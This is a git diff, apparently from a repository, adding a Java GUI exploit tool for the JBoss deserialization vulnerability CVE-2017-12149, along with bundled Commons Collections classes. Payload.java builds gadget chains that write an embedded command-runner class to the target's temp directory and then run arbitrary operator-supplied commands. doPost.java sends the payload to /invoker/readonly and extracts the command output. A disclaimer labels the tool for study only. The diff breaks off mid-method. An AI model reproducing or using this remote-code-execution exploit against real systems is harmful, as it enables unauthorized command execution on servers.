b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class new file mode 100644 index 0000000..9fecaa2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class new file mode 100644 index 0000000..697aca0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class new file mode 100644 index 0000000..1612f23 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet$UnmodifiableEntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class new file mode 100644 index 0000000..3edd0ac Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableEntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class new file mode 100644 index 0000000..c69d799 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class new file mode 100644 index 0000000..0b8afce Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableOrderedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class new file mode 100644 index 0000000..15bb466 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/UnmodifiableSortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html new file mode 100644 index 0000000..5c907a9 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/package.html @@ -0,0 +1,54 @@ + + + +

+This package contains implementations of the +{@link java.util.Map Map}, +{@link org.apache.commons.collections.IterableMap IterableMap}, +{@link org.apache.commons.collections.OrderedMap OrderedMap} and +{@link java.util.SortedMap SortedMap} interfaces. +A Map provides a lookup from a key to a value. +A number of implementations also support the new MapIterator interface that enables +simple iteration of map keys and values. +

+The following implementations are provided: +

+

+The following decorators are provided: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/overview.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/overview.html new file mode 100644 index 0000000..e9e2a63 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/overview.html @@ -0,0 +1,112 @@ + + + +

+ Commons-Collections contains implementations, enhancements and utilities + that complement the Java Collections Framework. +

+

+ The Apache Jakarta Commons Collections Framework component adds a significant + amount of enhancements to the standard JDK collections. These enhancements + come in the form of new interfaces, new implementations and utility classes. +

+

+ See also the java.util package for the standard Java collections. +

+ +

Main features

+

+ Commons-Collections defines a number of key interfaces: +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterfaceDescription
+ {@link org.apache.commons.collections.Bag} + + A new Collection subinterface that stores each object together + with the number of occurances. Methods are provided to get the number of + occurances, and to add and remove a certain number of that object. +
+ {@link org.apache.commons.collections.Buffer} + + A new Collection subinterface that allows objects to be removed + in some well-defined order. Methods enable the next item to be peeked and removed. +
+ {@link org.apache.commons.collections.BidiMap} + + A new Map subinterface that allows lookup from key to value and + from value to key with equal ease. +
+ {@link org.apache.commons.collections.OrderedMap} + + A new Map subinterface that is used when a map has an order, but is + not sorted. Methods enable bidriectional iteration through the map. +
+ {@link org.apache.commons.collections.MapIterator} + + A new Iterator subinterface specially designed for maps. This iterator + avoids the need for entrySet iteration of a map, and is simpler to use. +
+ {@link org.apache.commons.collections.ResettableIterator} + + A new Iterator subinterface that allows the iteration to be reset back + to the start. Many iterators in this library have this functionality. +
+ {@link org.apache.commons.collections.Closure}
+ {@link org.apache.commons.collections.Predicate}
+ {@link org.apache.commons.collections.Transformer}
+ {@link org.apache.commons.collections.Factory}
+
+ A group of functor interfaces that provide plugin behaviour to various + collections and utilities. +
+

+ In addition to the interfaces, there are many implementations. + Consult each subpackage for full details of these. +

+ + \ No newline at end of file diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/package.html new file mode 100644 index 0000000..c401cc5 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/package.html @@ -0,0 +1,31 @@ + + + +

+This package contains the interfaces and utilities shared across all the subpackages of this component. +

+

+The following collection implementations are provided in the package: +

+

+ + \ No newline at end of file diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class new file mode 100644 index 0000000..55ff905 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSerializableSetDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class new file mode 100644 index 0000000..26d2c50 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSetDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class new file mode 100644 index 0000000..eb20365 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/AbstractSortedSetDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class new file mode 100644 index 0000000..ce97867 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet$SetMutator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class new file mode 100644 index 0000000..712f427 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/CompositeSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class new file mode 100644 index 0000000..27c3614 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet$OrderedSetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class new file mode 100644 index 0000000..3e6e3ec Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/ListOrderedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class new file mode 100644 index 0000000..df73501 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/MapBackedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class new file mode 100644 index 0000000..a619ebf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class new file mode 100644 index 0000000..0020c32 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/PredicatedSortedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class new file mode 100644 index 0000000..16fcb59 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class new file mode 100644 index 0000000..2a6fa63 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/SynchronizedSortedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class new file mode 100644 index 0000000..450f04a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class new file mode 100644 index 0000000..4456d20 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TransformedSortedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class new file mode 100644 index 0000000..7374780 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class new file mode 100644 index 0000000..cb5a34c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/TypedSortedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class new file mode 100644 index 0000000..7bfd022 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class new file mode 100644 index 0000000..b1955dc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/UnmodifiableSortedSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html new file mode 100644 index 0000000..318c7ae --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/set/package.html @@ -0,0 +1,42 @@ + + + +

+This package contains implementations of the +{@link java.util.Set Set} and +{@link java.util.SortedSet SortedSet} interfaces. +

+The implementations are in the form of direct implementations and decorators. +A decorator wraps another implementation of the interface to add some +specific additional functionality. +

+The following implementations are provided in the package: +

+The following decorators are provided in the package: + + + diff --git a/jboss-_CVE-2017-12149/jboss反序列化_CVE-2017-12149.jar b/jboss-_CVE-2017-12149/jboss反序列化_CVE-2017-12149.jar new file mode 100644 index 0000000..f09a6c9 Binary files /dev/null and b/jboss-_CVE-2017-12149/jboss反序列化_CVE-2017-12149.jar differ diff --git a/jboss-_CVE-2017-12149/src/.DS_Store b/jboss-_CVE-2017-12149/src/.DS_Store new file mode 100644 index 0000000..7ec2863 Binary files /dev/null and b/jboss-_CVE-2017-12149/src/.DS_Store differ diff --git a/jboss-_CVE-2017-12149/src/com/jboss/main/Payload.java b/jboss-_CVE-2017-12149/src/com/jboss/main/Payload.java new file mode 100644 index 0000000..75f2e04 --- /dev/null +++ b/jboss-_CVE-2017-12149/src/com/jboss/main/Payload.java @@ -0,0 +1,190 @@ +package com.jboss.main; +import java.io.ByteArrayOutputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.MalformedURLException; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.bag.SynchronizedSortedBag; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.set.SynchronizedSet; + +public class Payload { + @SuppressWarnings ( {"unchecked"} ) + public byte[] upload(String os) throws Exception, Exception { + + + String TempFilePath = "c:/windows/temp/RunCheckConfig.class"; + if (os.equals("Linux")) { + TempFilePath = "/tmp/RunCheckConfig.class"; + } + byte[] Classofbyte = {-54,-2,-70,-66,0,0,0,50,0,94,7,0,2,1,0,14,82,117,110,67,104,101,99,107,67,111,110,102,105,103,7,0,4,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,6,60,105,110,105,116,62,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,9,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,4,67,111,100,101,10,0,3,0,12,12,0,5,0,13,1,0,3,40,41,86,7,0,15,1,0,22,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,10,0,14,0,12,7,0,18,1,0,12,106,97,118,97,47,105,111,47,70,105,108,101,8,0,20,1,0,25,47,116,109,112,47,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,99,108,97,115,115,10,0,17,0,22,12,0,5,0,6,10,0,17,0,24,12,0,25,0,26,1,0,6,101,120,105,115,116,115,1,0,3,40,41,90,8,0,28,1,0,11,91,76,50,57,49,57,49,57,93,13,10,10,0,14,0,30,12,0,31,0,32,1,0,6,97,112,112,101,110,100,1,0,44,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,8,0,34,1,0,11,91,87,50,57,49,48,49,51,93,13,10,10,0,36,0,38,7,0,37,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,12,0,39,0,40,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,10,0,36,0,42,12,0,43,0,44,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,7,0,46,1,0,22,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,7,0,48,1,0,25,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,82,101,97,100,101,114,10,0,50,0,52,7,0,51,1,0,17,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,12,0,53,0,54,1,0,14,103,101,116,73,110,112,117,116,83,116,114,101,97,109,1,0,23,40,41,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,10,0,47,0,56,12,0,5,0,57,1,0,24,40,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,41,86,10,0,45,0,59,12,0,5,0,60,1,0,19,40,76,106,97,118,97,47,105,111,47,82,101,97,100,101,114,59,41,86,8,0,62,1,0,1,10,10,0,45,0,64,12,0,65,0,66,1,0,8,114,101,97,100,76,105,110,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,10,0,14,0,68,12,0,69,0,66,1,0,8,116,111,83,116,114,105,110,103,10,0,8,0,22,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,82,117,110,67,104,101,99,107,67,111,110,102,105,103,59,1,0,8,112,97,114,97,109,99,109,100,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,17,108,111,99,97,108,83,116,114,105,110,103,66,117,102,102,101,114,1,0,24,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,1,0,4,102,105,108,101,1,0,14,76,106,97,118,97,47,105,111,47,70,105,108,101,59,1,0,12,108,111,99,97,108,80,114,111,99,101,115,115,1,0,19,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,19,108,111,99,97,108,66,117,102,102,101,114,101,100,82,101,97,100,101,114,1,0,24,76,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,59,1,0,4,115,116,114,49,1,0,4,115,116,114,50,1,0,14,108,111,99,97,108,69,120,99,101,112,116,105,111,110,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,91,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,106,97,118,97,0,33,0,1,0,3,0,0,0,0,0,1,0,1,0,5,0,6,0,2,0,7,0,0,0,4,0,1,0,8,0,10,0,0,1,61,0,5,0,9,0,0,0,122,42,-73,0,11,-69,0,14,89,-73,0,16,77,-69,0,17,89,18,19,-73,0,21,78,45,-74,0,23,-103,0,13,44,18,27,-74,0,29,87,-89,0,10,44,18,33,-74,0,29,87,-72,0,35,43,-74,0,41,58,4,-69,0,45,89,-69,0,47,89,25,4,-74,0,49,-73,0,55,-73,0,58,58,5,-89,0,15,44,25,6,-74,0,29,18,61,-74,0,29,87,25,5,-74,0,63,89,58,6,-57,-1,-20,44,-74,0,67,58,7,-69,0,8,89,25,7,-73,0,70,58,8,25,8,-65,0,0,0,3,0,71,0,0,0,26,0,6,0,0,0,8,0,4,0,9,0,12,0,10,0,46,0,11,0,76,0,13,0,102,0,14,0,72,0,0,0,102,0,10,0,0,0,122,0,73,0,74,0,0,0,0,0,122,0,75,0,76,0,1,0,12,0,110,0,77,0,78,0,2,0,22,0,100,0,79,0,80,0,3,0,55,0,67,0,81,0,82,0,4,0,76,0,46,0,83,0,84,0,5,0,79,0,12,0,85,0,76,0,6,0,99,0,23,0,85,0,76,0,6,0,108,0,14,0,86,0,76,0,7,0,119,0,3,0,87,0,88,0,8,0,89,0,0,0,37,0,4,-1,0,39,0,4,7,0,1,7,0,90,7,0,14,7,0,17,0,0,6,-2,0,32,7,0,50,7,0,45,7,0,90,-6,0,11,0,1,0,92,0,0,0,2,0,93}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(FileOutputStream.class), + new InvokerTransformer("getConstructor", + new Class[] { Class[].class }, + new Object[] { new Class[] { String.class } }), + new InvokerTransformer("newInstance", + new Class[] { Object[].class }, + new Object[] { new Object[] { TempFilePath } }), + new InvokerTransformer("write", new Class[] { byte[].class }, + new Object[] { Classofbyte }), + new ConstantTransformer(1) }; + Transformer transformerChain = new ChainedTransformer(transformers); + Map map1 = new HashMap(); + Map lazyMap = LazyMap.decorate(map1,transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + // Serializa o objeto +// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); +// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); +// ObjectOutputStream oos = new ObjectOutputStream(fos); +// oos.writeObject(map); +// oos.flush(); + ByteArrayOutputStream bo = new ByteArrayOutputStream(10); + ObjectOutputStream out = new ObjectOutputStream(bo); + out.writeObject(map); + out.flush(); + out.close(); + return bo.toByteArray(); + + } + public byte[] PayloadGeneration(String cmd,String os) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException { + + String ClassPath = "file:/c:/windows/temp/"; + + if (os.equals("linux")) { + ClassPath = "file:/tmp/"; + } + if (os.equals("linux")) + cmd =cmd; + else + cmd = "cmd.exe /c "+cmd; + + System.out.println(cmd); + Transformer[] transformers = { + new ConstantTransformer(URLClassLoader.class), + + new InvokerTransformer("getConstructor", + new Class[] {Class[].class}, new Object[] { + new Class[]{java.net.URL[].class}}), + + new InvokerTransformer( + "newInstance", + new Class[] { + Object[].class}, new Object[] { new Object[] { new java.net.URL[] { + + new java.net.URL(ClassPath) + + }}}), + + new InvokerTransformer("loadClass", + new Class[] { String.class }, new Object[] { "RunCheckConfig" }), + + new InvokerTransformer("getConstructor", + new Class[] { Class[].class }, + new Object[] { new Class[]{ String.class } }), + + new InvokerTransformer("newInstance", + new Class[] { Object[].class }, + new Object[] { new String[]{ cmd } }) };//执行 带回 + Transformer transformerChain = new ChainedTransformer(transformers); + Map map1 = new HashMap(); + Map lazyMap = LazyMap.decorate(map1,transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + // Serializa o objeto +// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); +// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); +// ObjectOutputStream oos = new ObjectOutputStream(fos); +// oos.writeObject(map); +// oos.flush(); + ByteArrayOutputStream bo = new ByteArrayOutputStream(10); + ObjectOutputStream out = new ObjectOutputStream(bo); + out.writeObject(map); + out.flush(); + out.close(); + return bo.toByteArray(); + + } + } diff --git a/jboss-_CVE-2017-12149/src/com/jboss/main/doPost.java b/jboss-_CVE-2017-12149/src/com/jboss/main/doPost.java new file mode 100644 index 0000000..2d12e2f --- /dev/null +++ b/jboss-_CVE-2017-12149/src/com/jboss/main/doPost.java @@ -0,0 +1,103 @@ +package com.jboss.main; + +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.URL; +import java.net.URLConnection; +import java.nio.ByteBuffer; + +public class doPost { + + public static String DoPost(String url,byte[] Payload) throws Exception{ + try { +// URL realUrl = new URL(url); +// +// HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection(); + +// conn.setDoInput(true); +// conn.setDoOutput(true); +// conn.setRequestMethod("POST"); +// conn.addRequestProperty("FileName", fileName); +// conn.setRequestProperty("accept", "*/*"); +// conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); +// conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + if (!url.substring(0,4).equalsIgnoreCase("http")) { + + url="http://"+url; + } + URL urlobj=new URL(url); + String host=urlobj.getHost(); + int port=urlobj.getPort(); + System.out.println(host+port); + if (port==-1) { + try { + String schema=urlobj.getProtocol(); + if (schema.equalsIgnoreCase("https")){ + port=445; + }else{ + port=80; + } + }catch(Exception e) { + port=80; + } + + } + + + Socket socket = new Socket(host, port); + socket.setSoTimeout(10000); + StringBuffer sb = new StringBuffer(); + sb.append("POST /invoker/readonly HTTP/1.1\r\n"); + sb.append("Host: "+host+":"+port+"\r\n"); + sb.append("Content-Length: " + Payload.length + "\r\n"); + sb.append("accept: */*\r\n"); + sb.append("user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\r\n"); + sb.append("accept: */*\r\n"); + sb.append("Content-Type: application/x-www-form-urlencoded\r\n"); + sb.append("\r\n"); + byte[] b3 = new byte[sb.toString().getBytes().length + Payload.length]; + System.arraycopy(sb.toString().getBytes(), 0, b3, 0, sb.toString().getBytes().length); + System.arraycopy(Payload, 0, b3, sb.toString().getBytes().length, Payload.length); + OutputStream data = socket.getOutputStream(); + //读取文件路径 + data.write(b3); + data.flush(); + //写入数据 + BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); + + StringBuffer s=new StringBuffer(); + String line=""; + while((line = br.readLine())!=null) { + s.append(line+"\r\n"); + } + String res = s.toString(); + if(res.indexOf("java.lang.Exception")>=0) { + + return res.split("java.lang.Exception:")[1].split("RunCheckConfig")[0]; + } + } catch (Exception e) { + System.out.println("异常," + e.getMessage()); + throw e; +// e.printStackTrace(); + } + return ""; + +} + + private static void StringBuffer() { + // TODO Auto-generated method stub + + } +} diff --git a/jboss-_CVE-2017-12149/src/com/jboss/main/main.java b/jboss-_CVE-2017-12149/src/com/jboss/main/main.java new file mode 100644 index 0000000..9fb7115 --- /dev/null +++ b/jboss-_CVE-2017-12149/src/com/jboss/main/main.java @@ -0,0 +1,221 @@ +package com.jboss.main; + +import java.awt.EventQueue; + +import javax.swing.JFrame; +import javax.swing.JOptionPane; + +import java.awt.GridLayout; +import javax.swing.JButton; +import javax.swing.JPanel; +import javax.swing.JTextField; +import java.awt.event.ActionListener; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.awt.event.ActionEvent; +import javax.swing.JLabel; +import java.awt.Font; +import javax.swing.SwingConstants; +import javax.swing.JTextArea; +import javax.swing.JComboBox; +import javax.swing.JTextPane; +import javax.swing.JScrollPane; + +public class main { + + + private JFrame frmCveJboosAs; + private JTextField server; + private JTextField cmd; + Payload payload = new Payload(); + String result = null; + byte[] Payload = null; + String os = ""; + + /** + * Launch the application. + */ + public static void main(String[] args) { + EventQueue.invokeLater(new Runnable() { + public void run() { + try { + main window = new main(); + window.frmCveJboosAs.setVisible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + } + + /** + * Create the application. + * @wbp.parser.entryPoint + */ + public main() { + initialize(); + } + + /** + * Initialize the contents of the frame. + */ + private void initialize() { + + frmCveJboosAs = new JFrame(); + frmCveJboosAs.setTitle("CVE-2017-12149 Jboss反序列化 V1.0"); + frmCveJboosAs.setBounds(100, 100, 588, 528); + frmCveJboosAs.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + frmCveJboosAs.getContentPane().setLayout(null); + + JScrollPane scrollPane = new JScrollPane(); + scrollPane.setBounds(10, 93, 546, 364); + frmCveJboosAs.getContentPane().add(scrollPane); + + final JLabel info = new JLabel("仅供学习交流使用,切勿用于非法用途,否则后果自负! by:云絮"); + info.setBounds(20, 463, 505, 18); + frmCveJboosAs.getContentPane().add(info); + + final JTextArea textArea = new JTextArea(); + textArea.setLineWrap(true); + scrollPane.setViewportView(textArea); + + JButton btnNewButton = new JButton("2.执行"); + btnNewButton.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent arg0) { + + String jboss_ip = server.getText(); + String command = cmd.getText(); + if ("".equals(os)) { + info.setText("请先检测是否存在漏洞"); + return; + } + try { + Payload = payload.PayloadGeneration(command,os); + }catch (Exception e) { + 